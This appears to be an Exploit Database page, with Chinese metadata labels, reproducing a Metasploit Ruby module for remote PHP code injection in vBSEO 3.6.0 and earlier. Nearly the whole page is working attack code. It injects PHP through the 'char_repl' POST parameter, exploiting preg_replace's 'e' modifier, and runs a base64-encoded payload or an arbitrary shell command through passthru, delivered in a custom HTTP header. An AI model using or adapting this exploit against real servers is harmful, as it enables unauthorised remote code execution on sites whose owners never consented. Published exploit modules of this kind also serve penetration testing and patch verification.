vBSEO 3.6.0 – ‘proc_deutf()’ Remote PHP Code Injection (Metasploit)

• Exploit Database
• 37 阅读

• 作者： EgiX
  日期： 2012-01-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18424/

• require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection',
  			'Description'=> %q{
  					This module exploits a vulnerability in the 'proc_deutf()' function
  				defined in /includes/functions_vbseocp_abstract.php. User input passed through
  				'char_repl' POST parameter isn't properly sanitized before being used in a call
  				to preg_replace() function which uses the 'e' modifier. This can be exploited to
  				inject and execute arbitrary code leveraging the PHP's complex curly syntax.
  			},
  			'Author' => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision$',
  			'References' =>
  				[
  					['BID', '51647'],
  					['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Space' => 8190,
  					'Keys'=> ['php'],
  				},
  			'Platform' => ['php'],
  			'Arch' => ARCH_PHP,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DisclosureDate' => 'Jan 23 2012',
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
  				], self.class)
  	end
  
  	def check
  		flag = rand_text_alpha(rand(10)+10)
  		data = "char_repl='{${print(#{flag})}}'=>"
  
  		uri = ''
  		uri << datastore['URI']
  		uri << '/' if uri[-1,1] != '/'
  		uri << 'vbseocp.php'
  
  		response = send_request_cgi({
  			'method' => "POST",
  			'uri' => uri,
  			'data' => "#{data}"
  		})
  
  		if response.code == 200 and response.body =~ /#{flag}/
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		if datastore['CMD']
  			p = "passthru(\"%s\");" % datastore['CMD']
  			p = Rex::Text.encode_base64(p)
  		else
  			p = Rex::Text.encode_base64(payload.encoded)
  		end
  
  		data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"
  
  		uri = ''
  		uri << datastore['URI']
  		uri << '/' if uri[-1,1] != '/'
  		uri << 'vbseocp.php'
  
  		response = send_request_cgi({
  			'method' => 'POST',
  			'uri' => uri,
  			'data' => data,
  			'headers' => { 'Code' => p }
  		})
  
  		print_status("%s" % response.body) if datastore['CMD']
  	end
  
  end